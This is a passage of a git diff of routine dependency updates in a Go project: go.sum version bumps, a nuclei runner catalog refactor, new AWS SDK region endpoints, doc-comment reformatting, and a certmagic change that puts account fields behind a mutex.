v0.0.0-20220722155302-e5dcc9cfc0b9 h1:ftMN5LMiBFjbzleLqtoBZk7KdJwhuybIU+FckUHgoyQ= +golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= @@ -1234,14 +1268,14 @@ golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4f golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2 h1:BonxutuHCTL0rBDnZlKjpGIQFTjyUVTexFOdWkB6Fg0= golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= +golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU= +golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df h1:5Pf6pFKu98ODmgnpvkJ3kFUOQGGLIzLIkbzUHp47618= -golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= @@ -1341,8 +1375,9 @@ google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlba google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6 h1:jMFz6MfLP0/4fUyZle81rXUoxOBFi19VUFKVDOQfozc= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= @@ -1356,6 +1391,7 @@ gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/ini.v1 v1.42.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.66.3/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.66.4 h1:SsAcf+mM7mRZo2nJNGt8mZCjG8ZRaNGMURJw7BsIST4= gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/irc.v3 v3.1.4 h1:DYGMRFbtseXEh+NadmMUFzMraqyuUj4I3iWYFEzDZPc= diff --git a/projectdiscovery/nuclei_Yaml/nclruner/runner/runner.go b/projectdiscovery/nuclei_Yaml/nclruner/runner/runner.go index d56fa127d..020c71229 100644 --- a/projectdiscovery/nuclei_Yaml/nclruner/runner/runner.go +++ b/projectdiscovery/nuclei_Yaml/nclruner/runner/runner.go @@ -24,6 +24,7 @@ import ( "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/nuclei/v2/pkg/catalog" "github.com/projectdiscovery/nuclei/v2/pkg/catalog/config" + "github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk" "github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader" "github.com/projectdiscovery/nuclei/v2/pkg/core" "github.com/projectdiscovery/nuclei/v2/pkg/core/inputs/hybrid" @@ -58,7 +59,7 @@ type Runner struct { templatesConfig *config.Config options *types.Options projectFile *projectfile.ProjectFile - catalog *catalog.Catalog + catalog catalog.Catalog progress progress.Progress colorizer aurora.Aurora issuesClient *reporting.Client @@ -110,7 +111,7 @@ func New(options *types.Options) (*Runner, error) { runner.browser = browser } - runner.catalog = catalog.New(runner.options.TemplatesDirectory) + runner.catalog = disk.NewCatalog(runner.options.TemplatesDirectory) var httpclient *retryablehttp.Client if options.ProxyInternal && types.ProxyURL != "" || types.ProxySocksURL != "" { diff --git a/projectdiscovery/nuclei_Yaml/nclruner/runner/templates.go b/projectdiscovery/nuclei_Yaml/nclruner/runner/templates.go index fd6d6abc8..426afb8ee 100644 --- a/projectdiscovery/nuclei_Yaml/nclruner/runner/templates.go +++ b/projectdiscovery/nuclei_Yaml/nclruner/runner/templates.go @@ -13,7 +13,7 @@ import ( ) func (r *Runner) logAvailableTemplate(tplPath string) { - t, err := parsers.ParseTemplate(tplPath) + t, err := parsers.ParseTemplate(tplPath, r.catalog) if err != nil { gologger.Error().Msgf("Could not parse file '%s': %s\n", tplPath, err) } else { diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/decode.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/decode.go index 8d65ca1d6..cad3b9a48 100644 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/decode.go +++ b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/decode.go @@ -31,12 +31,12 @@ func (d *DecodeModelOptions) Set(optFns ...func(*DecodeModelOptions)) { // allow you to get a list of the partitions in the order the endpoints // will be resolved in. // -// resolver, err := endpoints.DecodeModel(reader) +// resolver, err := endpoints.DecodeModel(reader) // -// partitions := resolver.(endpoints.EnumPartitions).Partitions() -// for _, p := range partitions { -// // ... inspect partitions -// } +// partitions := resolver.(endpoints.EnumPartitions).Partitions() +// for _, p := range partitions { +// // ... inspect partitions +// } func DecodeModel(r io.Reader, optFns ...func(*DecodeModelOptions)) (Resolver, error) { var opts DecodeModelOptions opts.Set(optFns...) diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/defaults.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/defaults.go index 2ffe22b36..65f81eeba 100644 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/defaults.go +++ b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/defaults.go @@ -2389,6 +2389,15 @@ var awsPartition = partition{ }: endpoint{ Hostname: "appmesh.ap-northeast-2.api.aws", }, + endpointKey{ + Region: "ap-northeast-3", + }: endpoint{}, + endpointKey{ + Region: "ap-northeast-3", + Variant: dualStackVariant, + }: endpoint{ + Hostname: "appmesh.ap-northeast-3.api.aws", + }, endpointKey{ Region: "ap-south-1", }: endpoint{}, @@ -2416,6 +2425,15 @@ var awsPartition = partition{ }: endpoint{ Hostname: "appmesh.ap-southeast-2.api.aws", }, + endpointKey{ + Region: "ap-southeast-3", + }: endpoint{}, + endpointKey{ + Region: "ap-southeast-3", + Variant: dualStackVariant, + }: endpoint{ + Hostname: "appmesh.ap-southeast-3.api.aws", + }, endpointKey{ Region: "ca-central-1", }: endpoint{}, @@ -3243,6 +3261,22 @@ var awsPartition = partition{ }: endpoint{}, }, }, + "backupstorage": service{ + Endpoints: serviceEndpoints{ + endpointKey{ + Region: "eu-west-1", + }: endpoint{}, + endpointKey{ + Region: "us-east-1", + }: endpoint{}, + endpointKey{ + Region: "us-east-2", + }: endpoint{}, + endpointKey{ + Region: "us-west-2", + }: endpoint{}, + }, + }, "batch": service{ Defaults: endpointDefaults{ defaultKey{}: endpoint{}, @@ -5229,6 +5263,22 @@ var awsPartition = partition{ }, "compute-optimizer": service{ Endpoints: serviceEndpoints{ + endpointKey{ + Region: "af-south-1", + }: endpoint{ + Hostname: "compute-optimizer.af-south-1.amazonaws.com", + CredentialScope: credentialScope{ + Region: "af-south-1", + }, + }, + endpointKey{ + Region: "ap-east-1", + }: endpoint{ + Hostname: "compute-optimizer.ap-east-1.amazonaws.com", + CredentialScope: credentialScope{ + Region: "ap-east-1", + }, + }, endpointKey{ Region: "ap-northeast-1", }: endpoint{ @@ -5245,6 +5295,14 @@ var awsPartition = partition{ Region: "ap-northeast-2", }, }, + endpointKey{ + Region: "ap-northeast-3", + }: endpoint{ + Hostname: "compute-optimizer.ap-northeast-3.amazonaws.com", + CredentialScope: credentialScope{ + Region: "ap-northeast-3", + }, + }, endpointKey{ Region: "ap-south-1", }: endpoint{ @@ -5293,6 +5351,14 @@ var awsPartition = partition{ Region: "eu-north-1", }, }, + endpointKey{ + Region: "eu-south-1", + }: endpoint{ + Hostname: "compute-optimizer.eu-south-1.amazonaws.com", + CredentialScope: credentialScope{ + Region: "eu-south-1", + }, + }, endpointKey{ Region: "eu-west-1", }: endpoint{ @@ -5317,6 +5383,14 @@ var awsPartition = partition{ Region: "eu-west-3", }, }, + endpointKey{ + Region: "me-south-1", + }: endpoint{ + Hostname: "compute-optimizer.me-south-1.amazonaws.com", + CredentialScope: credentialScope{ + Region: "me-south-1", + }, + }, endpointKey{ Region: "sa-east-1", }: endpoint{ @@ -10405,6 +10479,37 @@ var awsPartition = partition{ }: endpoint{}, }, }, + "geo": service{ + Endpoints: serviceEndpoints{ + endpointKey{ + Region: "ap-northeast-1", + }: endpoint{}, + endpointKey{ + Region: "ap-southeast-1", + }: endpoint{}, + endpointKey{ + Region: "ap-southeast-2", + }: endpoint{}, + endpointKey{ + Region: "eu-central-1", + }: endpoint{}, + endpointKey{ + Region: "eu-north-1", + }: endpoint{}, + endpointKey{ + Region: "eu-west-1", + }: endpoint{}, + endpointKey{ + Region: "us-east-1", + }: endpoint{}, + endpointKey{ + Region: "us-east-2", + }: endpoint{}, + endpointKey{ + Region: "us-west-2", + }: endpoint{}, + }, + }, "glacier": service{ Defaults: endpointDefaults{ defaultKey{}: endpoint{ @@ -10820,6 +10925,9 @@ var awsPartition = partition{ endpointKey{ Region: "ap-northeast-2", }: endpoint{}, + endpointKey{ + Region: "ap-southeast-1", + }: endpoint{}, endpointKey{ Region: "ap-southeast-2", }: endpoint{}, @@ -12430,6 +12538,9 @@ var awsPartition = partition{ endpointKey{ Region: "ap-southeast-2", }: endpoint{}, + endpointKey{ + Region: "ap-southeast-3", + }: endpoint{}, endpointKey{ Region: "ca-central-1", }: endpoint{}, @@ -13442,6 +13553,133 @@ var awsPartition = partition{ }, }, }, + "license-manager-user-subscriptions": service{ + Endpoints: serviceEndpoints{ + endpointKey{ + Region: "af-south-1", + }: endpoint{}, + endpointKey{ + Region: "ap-east-1", + }: endpoint{}, + endpointKey{ + Region: "ap-northeast-1", + }: endpoint{}, + endpointKey{ + Region: "ap-northeast-2", + }: endpoint{}, + endpointKey{ + Region: "ap-northeast-3", + }: endpoint{}, + endpointKey{ + Region: "ap-south-1", + }: endpoint{}, + endpointKey{ + Region: "ap-southeast-1", + }: endpoint{}, + endpointKey{ + Region: "ap-southeast-2", + }: endpoint{}, + endpointKey{ + Region: "ca-central-1", + }: endpoint{}, + endpointKey{ + Region: "eu-central-1", + }: endpoint{}, + endpointKey{ + Region: "eu-north-1", + }: endpoint{}, + endpointKey{ + Region: "eu-south-1", + }: endpoint{}, + endpointKey{ + Region: "eu-west-1", + }: endpoint{}, + endpointKey{ + Region: "eu-west-2", + }: endpoint{}, + endpointKey{ + Region: "eu-west-3", + }: endpoint{}, + endpointKey{ + Region: "fips-us-east-1", + }: endpoint{ + Hostname: "license-manager-user-subscriptions-fips.us-east-1.amazonaws.com", + CredentialScope: credentialScope{ + Region: "us-east-1", + }, + Deprecated: boxedTrue, + }, + endpointKey{ + Region: "fips-us-east-2", + }: endpoint{ + Hostname: "license-manager-user-subscriptions-fips.us-east-2.amazonaws.com", + CredentialScope: credentialScope{ + Region: "us-east-2", + }, + Deprecated: boxedTrue, + }, + endpointKey{ + Region: "fips-us-west-1", + }: endpoint{ + Hostname: "license-manager-user-subscriptions-fips.us-west-1.amazonaws.com", + CredentialScope: credentialScope{ + Region: "us-west-1", + }, + Deprecated: boxedTrue, + }, + endpointKey{ + Region: "fips-us-west-2", + }: endpoint{ + Hostname: "license-manager-user-subscriptions-fips.us-west-2.amazonaws.com", + CredentialScope: credentialScope{ + Region: "us-west-2", + }, + Deprecated: boxedTrue, + }, + endpointKey{ + Region: "me-south-1", + }: endpoint{}, + endpointKey{ + Region: "sa-east-1", + }: endpoint{}, + endpointKey{ + Region: "us-east-1", + }: endpoint{}, + endpointKey{ + Region: "us-east-1", + Variant: fipsVariant, + }: endpoint{ + Hostname: "license-manager-user-subscriptions-fips.us-east-1.amazonaws.com", + }, + endpointKey{ + Region: "us-east-2", + }: endpoint{}, + endpointKey{ + Region: "us-east-2", + Variant: fipsVariant, + }: endpoint{ + Hostname: "license-manager-user-subscriptions-fips.us-east-2.amazonaws.com", + }, + endpointKey{ + Region: "us-west-1", + }: endpoint{}, + endpointKey{ + Region: "us-west-1", + Variant: fipsVariant, + }: endpoint{ + Hostname: "license-manager-user-subscriptions-fips.us-west-1.amazonaws.com", + }, + endpointKey{ + Region: "us-west-2", + }: endpoint{}, + endpointKey{ + Region: "us-west-2", + Variant: fipsVariant, + }: endpoint{ + Hostname: "license-manager-user-subscriptions-fips.us-west-2.amazonaws.com", + }, + }, + }, "lightsail": service{ Endpoints: serviceEndpoints{ endpointKey{ @@ -15703,6 +15941,9 @@ var awsPartition = partition{ endpointKey{ Region: "ap-southeast-2", }: endpoint{}, + endpointKey{ + Region: "ap-southeast-3", + }: endpoint{}, endpointKey{ Region: "ca-central-1", }: endpoint{}, @@ -15882,6 +16123,9 @@ var awsPartition = partition{ endpointKey{ Region: "ap-southeast-2", }: endpoint{}, + endpointKey{ + Region: "ap-southeast-3", + }: endpoint{}, endpointKey{ Region: "ca-central-1", }: endpoint{}, @@ -19897,6 +20141,9 @@ var awsPartition = partition{ endpointKey{ Region: "ap-northeast-2", }: endpoint{}, + endpointKey{ + Region: "ap-northeast-3", + }: endpoint{}, endpointKey{ Region: "ap-south-1", }: endpoint{}, @@ -19906,6 +20153,9 @@ var awsPartition = partition{ endpointKey{ Region: "ap-southeast-2", }: endpoint{}, + endpointKey{ + Region: "ap-southeast-3", + }: endpoint{}, endpointKey{ Region: "ca-central-1", }: endpoint{}, @@ -25082,9 +25332,21 @@ var awscnPartition = partition{ endpointKey{ Region: "cn-north-1", }: endpoint{}, + endpointKey{ + Region: "cn-north-1", + Variant: dualStackVariant, + }: endpoint{ + Hostname: "firehose.cn-north-1.api.amazonwebservices.com.cn", + }, endpointKey{ Region: "cn-northwest-1", }: endpoint{}, + endpointKey{ + Region: "cn-northwest-1", + Variant: dualStackVariant, + }: endpoint{ + Hostname: "firehose.cn-northwest-1.api.amazonwebservices.com.cn", + }, }, }, "fms": service{ @@ -28823,6 +29085,12 @@ var awsusgovPartition = partition{ endpointKey{ Region: "us-gov-east-1", }: endpoint{}, + endpointKey{ + Region: "us-gov-east-1", + Variant: dualStackVariant, + }: endpoint{ + Hostname: "lambda.us-gov-east-1.api.aws", + }, endpointKey{ Region: "us-gov-east-1", Variant: fipsVariant, @@ -28832,6 +29100,12 @@ var awsusgovPartition = partition{ endpointKey{ Region: "us-gov-west-1", }: endpoint{}, + endpointKey{ + Region: "us-gov-west-1", + Variant: dualStackVariant, + }: endpoint{ + Hostname: "lambda.us-gov-west-1.api.aws", + }, endpointKey{ Region: "us-gov-west-1", Variant: fipsVariant, @@ -31753,6 +32027,9 @@ var awsisoPartition = partition{ endpointKey{ Region: "us-iso-east-1", }: endpoint{}, + endpointKey{ + Region: "us-iso-west-1", + }: endpoint{}, }, }, "sts": service{ diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/doc.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/doc.go index 84316b92c..66dec6beb 100644 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/doc.go +++ b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/doc.go @@ -9,7 +9,7 @@ // AWS GovCloud (US) (aws-us-gov). // . // -// Enumerating Regions and Endpoint Metadata +// # Enumerating Regions and Endpoint Metadata // // Casting the Resolver returned by DefaultResolver to a EnumPartitions interface // will allow you to get access to the list of underlying Partitions with the @@ -17,22 +17,22 @@ // resolving to a single partition, or enumerate regions, services, and endpoints // in the partition. // -// resolver := endpoints.DefaultResolver() -// partitions := resolver.(endpoints.EnumPartitions).Partitions() +// resolver := endpoints.DefaultResolver() +// partitions := resolver.(endpoints.EnumPartitions).Partitions() // -// for _, p := range partitions { -// fmt.Println("Regions for", p.ID()) -// for id, _ := range p.Regions() { -// fmt.Println("*", id) -// } +// for _, p := range partitions { +// fmt.Println("Regions for", p.ID()) +// for id, _ := range p.Regions() { +// fmt.Println("*", id) +// } // -// fmt.Println("Services for", p.ID()) -// for id, _ := range p.Services() { -// fmt.Println("*", id) -// } -// } +// fmt.Println("Services for", p.ID()) +// for id, _ := range p.Services() { +// fmt.Println("*", id) +// } +// } // -// Using Custom Endpoints +// # Using Custom Endpoints // // The endpoints package also gives you the ability to use your own logic how // endpoints are resolved. This is a great way to define a custom endpoint @@ -47,20 +47,19 @@ // of Resolver.EndpointFor, converting it to a type that satisfies the // Resolver interface. // +// myCustomResolver := func(service, region string, optFns ...func(*endpoints.Options)) (endpoints.ResolvedEndpoint, error) { +// if service == endpoints.S3ServiceID { +// return endpoints.ResolvedEndpoint{ +// URL: "s3.custom.endpoint.com", +// SigningRegion: "custom-signing-region", +// }, nil +// } // -// myCustomResolver := func(service, region string, optFns ...func(*endpoints.Options)) (endpoints.ResolvedEndpoint, error) { -// if service == endpoints.S3ServiceID { -// return endpoints.ResolvedEndpoint{ -// URL: "s3.custom.endpoint.com", -// SigningRegion: "custom-signing-region", -// }, nil -// } +// return endpoints.DefaultResolver().EndpointFor(service, region, optFns...) +// } // -// return endpoints.DefaultResolver().EndpointFor(service, region, optFns...) -// } -// -// sess := session.Must(session.NewSession(&aws.Config{ -// Region: aws.String("us-west-2"), -// EndpointResolver: endpoints.ResolverFunc(myCustomResolver), -// })) +// sess := session.Must(session.NewSession(&aws.Config{ +// Region: aws.String("us-west-2"), +// EndpointResolver: endpoints.ResolverFunc(myCustomResolver), +// })) package endpoints diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/endpoints.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/endpoints.go index 880986157..a686a48fa 100644 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/endpoints.go +++ b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/endpoints.go @@ -353,10 +353,12 @@ type EnumPartitions interface { // as the second parameter. // // This example shows how to get the regions for DynamoDB in the AWS partition. -// rs, exists := endpoints.RegionsForService(endpoints.DefaultPartitions(), endpoints.AwsPartitionID, endpoints.DynamodbServiceID) +// +// rs, exists := endpoints.RegionsForService(endpoints.DefaultPartitions(), endpoints.AwsPartitionID, endpoints.DynamodbServiceID) // // This is equivalent to using the partition directly. -// rs := endpoints.AwsPartition().Services()[endpoints.DynamodbServiceID].Regions() +// +// rs := endpoints.AwsPartition().Services()[endpoints.DynamodbServiceID].Regions() func RegionsForService(ps []Partition, partitionID, serviceID string) (map[string]Region, bool) { for _, p := range ps { if p.ID() != partitionID { @@ -423,8 +425,8 @@ func (p Partition) ID() string { return p.id } // of new regions and services expansions. // // Errors that can be returned. -// * UnknownServiceError -// * UnknownEndpointError +// - UnknownServiceError +// - UnknownEndpointError func (p Partition) EndpointFor(service, region string, opts ...func(*Options)) (ResolvedEndpoint, error) { return p.p.EndpointFor(service, region, opts...) } diff --git a/vendor/github.com/aws/aws-sdk-go/aws/version.go b/vendor/github.com/aws/aws-sdk-go/aws/version.go index 0a0afae2b..0383dfe46 100644 --- a/vendor/github.com/aws/aws-sdk-go/aws/version.go +++ b/vendor/github.com/aws/aws-sdk-go/aws/version.go @@ -5,4 +5,4 @@ package aws const SDKName = "aws-sdk-go" // SDKVersion is the version of this SDK -const SDKVersion = "1.44.60" +const SDKVersion = "1.44.77" diff --git a/vendor/github.com/caddyserver/certmagic/README.md b/vendor/github.com/caddyserver/certmagic/README.md index 2e0e37abc..6fb9a5f6f 100644 --- a/vendor/github.com/caddyserver/certmagic/README.md +++ b/vendor/github.com/caddyserver/certmagic/README.md @@ -445,7 +445,7 @@ By default, CertMagic stores assets on the local file system in `$HOME/.local/sh The notion of a "cluster" or "fleet" of instances that may be serving the same site and sharing certificates, etc, is tied to storage. Simply, any instances that use the same storage facilities are considered part of the cluster. So if you deploy 100 instances of CertMagic behind a load balancer, they are all part of the same cluster if they share the same storage configuration. Sharing storage could be mounting a shared folder, or implementing some other distributed storage system such as a database server or KV store. -The easiest way to change the storage being used is to set `certmagic.DefaultStorage` to a value that satisfies the [Storage interface](https://pkg.go.dev/github.com/caddyserver/certmagic?tab=doc#Storage). Keep in mind that a valid `Storage` must be able to implement some operations atomically in order to provide locking and synchronization. +The easiest way to change the storage being used is to set `certmagic.Default.Storage` to a value that satisfies the [Storage interface](https://pkg.go.dev/github.com/caddyserver/certmagic?tab=doc#Storage). Keep in mind that a valid `Storage` must be able to implement some operations atomically in order to provide locking and synchronization. If you write a Storage implementation, please add it to the [project wiki](https://github.com/caddyserver/certmagic/wiki/Storage-Implementations) so people can find it! @@ -454,7 +454,7 @@ If you write a Storage implementation, please add it to the [project wiki](https All of the certificates in use are de-duplicated and cached in memory for optimal performance at handshake-time. This cache must be backed by persistent storage as described above. -Most applications will not need to interact with certificate caches directly. Usually, the closest you will come is to set the package-wide `certmagic.DefaultStorage` variable (before attempting to create any Configs). However, if your use case requires using different storage facilities for different Configs (that's highly unlikely and NOT recommended! Even Caddy doesn't get that crazy), you will need to call `certmagic.NewCache()` and pass in the storage you want to use, then get new `Config` structs with `certmagic.NewWithCache()` and pass in the cache. +Most applications will not need to interact with certificate caches directly. Usually, the closest you will come is to set the package-wide `certmagic.Default.Storage` variable (before attempting to create any Configs) which defines how the cache is persisted. However, if your use case requires using different storage facilities for different Configs (that's highly unlikely and NOT recommended! Even Caddy doesn't get that crazy), you will need to call `certmagic.NewCache()` and pass in the storage you want to use, then get new `Config` structs with `certmagic.NewWithCache()` and pass in the cache. Again, if you're needing to do this, you've probably over-complicated your application design. diff --git a/vendor/github.com/caddyserver/certmagic/account.go b/vendor/github.com/caddyserver/certmagic/account.go index 484cce0a0..f3cb755a0 100644 --- a/vendor/github.com/caddyserver/certmagic/account.go +++ b/vendor/github.com/caddyserver/certmagic/account.go @@ -171,14 +171,14 @@ func (am *ACMEIssuer) saveAccount(ctx context.Context, ca string, account acme.A return storeTx(ctx, am.config.Storage, all) } -// getEmail does everything it can to obtain an email address +// setEmail does everything it can to obtain an email address // from the user within the scope of memory and storage to use // for ACME TLS. If it cannot get an email address, it does nothing // (If user is prompted, it will warn the user of // the consequences of an empty email.) This function MAY prompt // the user for input. If allowPrompts is false, the user // will NOT be prompted and an empty email may be returned. -func (am *ACMEIssuer) getEmail(ctx context.Context, allowPrompts bool) error { +func (am *ACMEIssuer) setEmail(ctx context.Context, allowPrompts bool) error { leEmail := am.Email // First try package default email, or a discovered email address @@ -206,10 +206,12 @@ func (am *ACMEIssuer) getEmail(ctx context.Context, allowPrompts bool) error { } // User might have just signified their agreement - am.Agreed = DefaultACME.Agreed + am.mu.Lock() + am.agreed = DefaultACME.Agreed + am.mu.Unlock() } - // save the email for later and ensure it is consistent + // Save the email for later and ensure it is consistent // for repeated use; then update cfg with the email leEmail = strings.TrimSpace(strings.ToLower(leEmail)) discoveredEmailMu.Lock() @@ -217,7 +219,12 @@ func (am *ACMEIssuer) getEmail(ctx context.Context, allowPrompts bool) error { discoveredEmail = leEmail } discoveredEmailMu.Unlock() - am.Email = leEmail + + // The unexported email field is the one we use + // because we have thread-safe control over it + am.mu.Lock() + am.email = leEmail + am.mu.Unlock() return nil } diff --git a/vendor/github.com/caddyserver/certmagic/acmeclient.go b/vendor/github.com/caddyserver/certmagic/acmeclient.go index f93b34d02..90a06ba18 100644 --- a/vendor/github.com/caddyserver/certmagic/acmeclient.go +++ b/vendor/github.com/caddyserver/certmagic/acmeclient.go @@ -16,12 +16,10 @@ package certmagic import ( "context" - "crypto/tls" "crypto/x509" "fmt" weakrand "math/rand" "net" - "net/http" "net/url" "strconv" "strings" @@ -61,7 +59,7 @@ func (iss *ACMEIssuer) newACMEClientWithAccount(ctx context.Context, useTestCA, if iss.AccountKeyPEM != "" { account, err = iss.GetAccount(ctx, []byte(iss.AccountKeyPEM)) } else { - account, err = iss.getAccount(ctx, client.Directory, iss.Email) + account, err = iss.getAccount(ctx, client.Directory, iss.getEmail()) } if err != nil { return nil, fmt.Errorf("getting ACME account: %v", err) @@ -78,7 +76,7 @@ func (iss *ACMEIssuer) newACMEClientWithAccount(ctx context.Context, useTestCA, // agree to terms if interactive { - if !iss.Agreed { + if !iss.isAgreed() { var termsURL string dir, err := client.GetDirectory(ctx) if err != nil { @@ -88,18 +86,23 @@ func (iss *ACMEIssuer) newACMEClientWithAccount(ctx context.Context, useTestCA, termsURL = dir.Meta.TermsOfService } if termsURL != "" { - iss.Agreed = iss.askUserAgreement(termsURL) - if !iss.Agreed { + agreed := iss.askUserAgreement(termsURL) + if !agreed { return nil, fmt.Errorf("user must agree to CA terms") } + iss.mu.Lock() + iss.agreed = agreed + iss.mu.Unlock() } } } else { // can't prompt a user who isn't there; they should // have reviewed the terms beforehand - iss.Agreed = true + iss.mu.Lock() + iss.agreed = true + iss.mu.Unlock() } - account.TermsOfServiceAgreed = iss.Agreed + account.TermsOfServiceAgreed = iss.isAgreed() // associate account with external binding, if configured if iss.ExternalAccount != nil { @@ -163,59 +166,17 @@ func (iss *ACMEIssuer) newACMEClient(useTestCA bool) (*acmez.Client, error) { return nil, fmt.Errorf("%s: insecure CA URL (HTTPS required)", caURL) } - // set up the dialers and resolver for the ACME client's HTTP client - dialer := &net.Dialer{ - Timeout: 30 * time.Second, - KeepAlive: 2 * time.Minute, - } - if iss.Resolver != "" { - dialer.Resolver = &net.Resolver{ - PreferGo: true, - Dial: func(ctx context.Context, network, _ string) (net.Conn, error) { - return (&net.Dialer{ - Timeout: 15 * time.Second, - }).DialContext(ctx, network, iss.Resolver) - }, - } - } - - // TODO: we could potentially reuse the HTTP transport and client - hc := iss.httpClient // TODO: is this racey? - if iss.httpClient == nil { - transport := &http.Transport{ - Proxy: http.ProxyFromEnvironment, - DialContext: dialer.DialContext, - TLSHandshakeTimeout: 30 * time.Second, // increase to 30s requested in #175 - ResponseHeaderTimeout: 30 * time.Second, // increase to 30s requested in #175 - ExpectContinueTimeout: 2 * time.Second, - ForceAttemptHTTP2: true, - } - if iss.TrustedRoots != nil { - transport.TLSClientConfig = &tls.Config{ - RootCAs: iss.TrustedRoots, - } - } - - hc = &http.Client{ - Transport: transport, - Timeout: HTTPTimeout, - } - - iss.httpClient = hc - } - client := &acmez.Client{ 